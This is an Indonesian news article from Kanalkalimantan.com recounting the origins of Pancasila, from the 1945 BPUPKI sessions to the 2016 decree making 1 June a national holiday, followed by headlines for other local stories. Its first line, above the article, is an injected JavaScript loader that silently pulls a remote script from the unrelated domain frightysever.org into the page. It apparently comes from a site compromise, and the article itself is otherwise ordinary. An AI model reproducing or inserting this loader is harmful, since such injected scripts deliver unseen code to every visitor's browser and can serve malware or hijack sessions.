(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Sejarahnya bermula dari kekalahan Jepang pada saat perang Pasifik pada Juli 1944. Jepang yang mengalami kekalahan ini kemudian berusaha mendapatkan hati masyarakat Indonesia dengan menjanjikan kemerdekaan.
Tidak hanya itu, mengutip laman Badan Pembinaan Ideologi Pancasila (BPIP) RI, Jepang juga membentuk sebuah lembaga yang tugasnya untuk mempersiapkan kemerdekaan tersebut. Lembaga ini dikenal dengan nama Dokuritsu Junbi Cosakai atau Badan Penyelidik Persiapan Kemerdekaan Indonesia (BPUPKI).
Sidang pertama BPUPKI dilaksanakan pada tanggal 29 Mei 1945 di Gedung Chuo Sangi In yang kini dikenal dengan nama Gedung Pancasila. Para anggota sidang BPUPKI membahas mengenai tema dasar negara.
Selang beberapa hari tidak kunjung mendapat titik terang, pada 1 Juni 1945, Presiden Soekarno mendapat giliran untuk menyampaikan ide serta gagasannya terkait dasar negara Indonesia yang dinamai Pancasila. Inilah asal mula dikenalnya istilah Pancasila.
Baca juga : Bupati Abdul Hadi Lantik 14 Pejabat Administrator dan Pengawas Pemkab Balangan
Masih dalam penjelasan BPIP, saat itu, Soekarno menyebutkan lima dasar untuk negara Indonesia. Kelimanya adalah kebangsaan, internasionalisme atau perikemanusiaan, demokrasi, keadilan sosial, dan Ketuhanan yang Maha Esa.
Rumusan Soekarno tersebut kemudian diterima secara aklamasi oleh anggota BPUPKI. BPUPKI pun membentuk panitia kecil untuk menyempurnakan rumusan Pancasila dan membuat Undang-Undang Dasar yang berlandaskan kelima asas tersebut.
Setelah melalui beberapa proses persidangan, rumusan Pancasila tersebut akhirnya berhasil dicantumkan dalam Mukadimah Undang-Undang Dasar (UUD) 1945 dan disahkan sebagai dasar negara pada Sidang PPKI tanggal 18 Agustus 1945.
Untuk itulah, setiap tanggal 1 Juni diperingati sebagai Hari Lahir Pancasila dan diresmikan Keputusan Presiden Nomor 24 Tahun 2016 Presiden Joko Widodo (Jokowi). Keputusan itu disampaikannya melalui pidato pada peringatan Pidato Bung Karno 1 Juni 1945 di Gedung Merdeka, Bandung, pada 2016 lalu.
Baca juga : Tinjau Lokasi Karya Bakti, Personel Kodim 1001/HSU-BLG Bantu Perbaiki Jalan Desa
Keterangan itu tercantum jelas dan dapat diakses ulang dalam Surat Edaran Kepala Badan Pembinaan Ideologi Nomor 4 Tahun 2022 tentang Pedoman Peringatan Hari Lahir Pancasila.
Setiap tanggal 1 Juni ditetapkan juga sebagai hari libur dengan tujuan memanfaatkan hari tersebut sebagai hari peringatan Pancasila. Di mana pada hari khusus ni, setiap masyarakat Indonesia diharapkan dapat memperingati dan menghayati kembali makna di balik Hari Lahir Pancasila. (Kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru akan ikut… Read More
KANALKALIMANTAN.COM - Menjelang liburan Natal 2024 dan Tahun Baru 2025 (Nataru), kebutuhan akan layanan perbankan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dua Ibu Rumah Tangga (IRT) dibekuk Satuan Reserse Narkoba (Satrenarkoba) Kepolisian Resor… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menyambut Siaga Kelistrikan Natal 2024 dan Tahun Baru 2025, PT PLN (Persero)… Read More
KANALKALIMANTAN.COM, CILEGON - Wakil Menteri Badan Usaha Milik Negara (BUMN) Aminuddin Ma’ruf memastikan infrastruktur Stasiun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sesosok jasad lelaki tak bernyawa ditemukan tergeletak di pinggir jalan depan kantor… Read More
This website uses cookies.